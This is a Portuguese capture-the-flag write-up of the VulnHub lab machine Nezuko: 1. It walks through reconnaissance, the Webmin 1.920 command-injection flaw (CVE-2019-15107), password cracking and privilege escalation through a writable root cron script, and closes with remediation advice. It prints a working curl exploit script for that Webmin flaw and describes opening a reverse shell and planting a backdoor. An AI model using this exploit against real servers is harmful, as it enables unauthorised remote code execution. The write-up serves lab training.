Pwning - Nezuko: 1
30 VMs em 30 dias [ 17 ] - Beco do Exploit
Material de Apoio
- Download da VM: https://www.vulnhub.com/entry/nezuko-1,352/
- CVE-2019–15107: https://nvd.nist.gov/vuln/detail/cve-2019-15107
Objetivo
- A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
- Conseguir permissão root e ler a flag escondida
Reconhecimento
Para iniciarmos, precisamos ter o IP da máquina alvo e estar na mesma rede que ela, para que possamos explorar os serviços ativos, que compõe nossa superfície de ataque. Para isso, algumas ferramentas podem ser úteis, como: netdiscover, nmap e arp-scan. Escolhemos a primeira opção, que já deu muito certo:
netdiscover -r <ip-rede>/<mascara>
Com o endereço em mãos, podemos agora enumerar as portas e seus respectivos serviços para que possamos interagir com nosso alvo. Com esse intuito, a ferramenta Nmap cumpre perfeitamente com a função.
nmap -p- -sV -Pn <ip-addr>
Certo, 3 (três) serviços foram encontrados, um SSH e dois HTTP’s. Podemos então começar acessando os sites, para ver do que se tratam.
O primeiro consiste de uma imagem da personagem Nezuko, com uma mensagem de que não há nada mais no site.
Já o segundo, através da porta 13337, recusou a conexão: provavelmente uma regra interna.
Mas isso é muito estranho, pois o nmap identificou que estava rodando um serviço Web nessa porta… que tal tentarmos acessar pelo HTTPS então? Vai que não tem configurado o HTTP…
Aháaaa!! Que pegadinha hein… E bom, já usamos o Wappalyzer para identificar as tecnologias usadas, e temos em mãos a exata provável versão do Webmin: 1.920!
Exploração
Será que existe alguma vulnerabilidade conhecida para ela? Não custa testarmos com o searchsploit…
searchsploit webmin 1.920
Que sorte a nossa! Ahahaha
Vamos então copiar esse exploit para nosso diretório de trabalho, para que possamos configura-lo para nosso cenário:
Basicamente, essa vulnerabilidade consiste em uma tratativa indevida de parâmetros POST dentro de /password_change.cgi, mais especificamente, do parâmetro “old”, que permite a concatenação de um command injection.
Podemos então resumir o código na seguinte forma:
#!/bin/sh
URI=$1;
CMD=$2;
echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";
curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|'$CMD'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'
Feito isso, basta executarmos o comando que desejamos, que obviamente vai ser um que nos dê uma Shell remota!
Para isso, vamos ouvir em uma porta antes de executar o comando. Além disso, é preciso encodar o comando com URL Encoding, para que a aplicação entenda caracteres especiais.
Teremos então o seguinte resultado ao executar uma Reverse Shell em Perl:
Heheheh, estamos dentro do servidor!!
Vale lembrar que escolhemos Perl pois com as demais que testamos não deu certo.
Pós Exploração
Como forma de reconhecimento e possibilidade de exploração, podemos dar uma olhada no /etc/passwd:
E adivinha? Uma credencial prontinha para quebrarmos com o JohnTheRipper:
Temos então que o usuário zenitsu tem a senha meowmeow! Vamos então acessa-lo através do comando su. Para isso, é necessária uma Shell interativa, então vamos criar uma também!
Escalação de Privilégio
Bom, uma das principais formas de escalar privilégios é a partir de processos que rodam com privilégio de root. Podemos então procurar por algum deles para explorarmos possíveis falhas de configuração.
Para isso, poderíamos usar ferramentas automatizadas e avançadas como o pspy, entretanto, vamos dessa vez utilizar apenas o que temos em mãos, o próprio comando ps.
while true; do clear; ps aux | grep root; sleep 1; done
Encontramos então um processo cron que executa o arquivo /home/zenitsu/to_nezuko/send_message_to_nezuko.sh, será que temos permissão para manipula-lo?
Nós somos o proprietário do arquivo! Podemos altera-lo então… colando um BACKDOOR!
Feito isso, basta aguardamos que a cron seja executada.
Demorou cerca de 4 minutos, até que…
MÁQUINA OWNADA
E dentro do diretório /root, encontramos a bendita flag!
Correção de Vulnerabilidades
- Não expor a aplicação Webmin para a internet;
- Manter as versões dos serviços e aplicações atualizadas;
- Armazenar senhas em arquivos restritos, como o próprio /etc/shadow, ao invés de no /etc/passwd;
- Não permitir modificações em scripts que são executados por cron de privilégio root;
Mas se não quiser ter tanto trabalho, basta um simples comando!
Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!